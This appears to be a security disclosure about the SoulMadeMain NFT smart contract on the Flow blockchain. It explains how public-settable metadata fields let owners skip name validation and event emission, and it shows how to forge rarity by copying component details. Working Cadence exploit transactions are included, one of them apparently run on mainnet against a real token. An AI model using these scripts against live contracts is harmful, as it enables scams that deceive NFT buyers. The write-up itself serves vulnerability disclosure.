// line 28, 30-32
pub struct MainDetail{
pub(set) var name: String
pub(set) var description: String
pub(set) var ipfsHash: String
pub(set) var componentDetails: [SoulMadeComponent.ComponentDetail]
// line 102 to 123
pub fun setName(_ name: String){
pre {
name.length > 2 : "The name is too short"
name.length < 100 : "The name is too long"
}
self.mainDetail.name = name
emit NameSet(id: self.id, name: name)
}
pub fun setDescription(_ description: String){
pre {
description.length > 2 : "The descripton is too short"
description.length < 500 : "The description is too long"
}
self.mainDetail.description = description
emit DescriptionSet(id: self.id, description: description)
}
pub fun setIpfsHash(_ ipfsHash: String){
self.mainDetail.ipfsHash = ipfsHash
emit IpfsHashSet(id: self.id, ipfsHash: ipfsHash)
}
The MainDetail
struct consists of publicly settable name
, description
, ipfsHash
, and componentDetails
values. Consequently, this allows the NFT owner to arbitrarily modify the values while bypassing certain limitations.
For example, the setName
functionality in line 102
pre-checks that the name length must be larger than 2
and lesser than 100
. To bypass this, an NFT owner can use the below transaction code to modify their name which is prohibited.
import SoulMadeMain from 0x9a57dfe5c8ce609c
transaction() {
prepare(account: AuthAccount) {
let ref = account.borrow<&SoulMadeMain.Collection>(from: SoulMadeMain.CollectionStoragePath)!
let allNFTs = ref.getIDs()
let nft : @SoulMadeMain.NFT <- ref.withdraw(withdrawID: allNFTs[0])!
// name.length is 1
nft.mainDetail.name = "h"
ref.deposit(token: <- nft)
}
execute {
}
}
In addition, the NameSet
event in line 108
is also not emitted, so a user can secretly modify the values without getting the transaction picked up by event listeners.
// line 87 to 100
pub fun withdrawComponent(category: String): @SoulMadeComponent.NFT {
let componentNft <- self.components.remove(key: category)!
self.mainDetail.componentDetails = self.getAllComponentDetail().values
emit MainComponentUpdated(mainNftId: self.id)
return <- componentNft
}
pub fun depositComponent(componentNft: @SoulMadeComponent.NFT): @SoulMadeComponent.NFT? {
let category : String = componentNft.componentDetail.category
var old <- self.components[category] <- componentNft
self.mainDetail.componentDetails = self.getAllComponentDetail().values
emit MainComponentUpdated(mainNftId: self.id)
return <- old
}
In lines 87
to 100
, we can see that the NFT’s component details are determined by the components
dictionary (see line 69
). Depositing a SoulMadeComponent.NFT
using depositComponent
would update the components category (self.components[category]
) to reflect the latest components held by the NFT. The opposite is also true where calling withdrawComponent
would reset the component details and removes the withdrawn SoulMadeComponent.NFT
from the component itself.
This proves that self.mainDetail.componentDetails
determine scarcity, and due to pub(set)
the values can be set by the NFT owner. As a result, a malicious actor can create a SoulMadeMain.NFT
with super rare components to lure victims into purchasing the NFT. Unless the victim manually checks the components
dictionary, there is a high chance that they will not realize the purchased NFT does not actually hold any super rare SoulMadeComponent.NFT
components as shown in the picture.
If the victim tries to withdraw the component, the transaction would fail as seen in line 88
due to the force unwrap operator.
<aside>
💡 All transactions were executed under address 0x079960b40a947dbf
.
</aside>
The following transaction script automatically copies all the attributes of an NFT except for the name and description.
import SoulMadeMain from "../contracts/SoulMadeMain.cdc"
import SoulMadeComponent from "../contracts/SoulMadeComponent.cdc"
/*
flow transactions send soulmade/transactions/createNFT.cdc --network mainnet --signer peach 0x18d7e8fd44629257 560
*/
transaction(cloneAddress: Address, cloneID: UInt64) {
prepare(account: AuthAccount) {
// retreive NFT details
let cloneAddress = getAccount(cloneAddress)
let cap = cloneAddress.getCapability<&{SoulMadeMain.CollectionPublic}>(SoulMadeMain.CollectionPublicPath).borrow()!
var nftDetail = cap.borrowMain(id: cloneID).mainDetail
// initial setup for ourselves
if account.borrow<&SoulMadeMain.Collection>(from: SoulMadeMain.CollectionStoragePath) == nil {
account.save(<- SoulMadeMain.createEmptyCollection(), to: SoulMadeMain.CollectionStoragePath)
account.link<&{SoulMadeMain.CollectionPublic}>(SoulMadeMain.CollectionPublicPath, target: SoulMadeMain.CollectionStoragePath)
account.link<&SoulMadeMain.Collection>(SoulMadeMain.CollectionPrivatePath, target: SoulMadeMain.CollectionStoragePath)
}
let ref = account.borrow<&SoulMadeMain.Collection>(from: SoulMadeMain.CollectionStoragePath)!
let soul_nft <- SoulMadeMain.mintMain(series: nftDetail.series)
soul_nft.mainDetail.name = "Peach tea"
soul_nft.mainDetail.description = "Proof of concept from peach tea"
soul_nft.mainDetail.ipfsHash = nftDetail.ipfsHash
soul_nft.mainDetail.componentDetails = nftDetail.componentDetails
ref.deposit(token: <- soul_nft)
}
execute {
}
}
I decided to copy Neutral Sienna’s NFT attributes from address 0x18d7e8fd44629257
with the token identifier 560
.
The transaction went through successfully.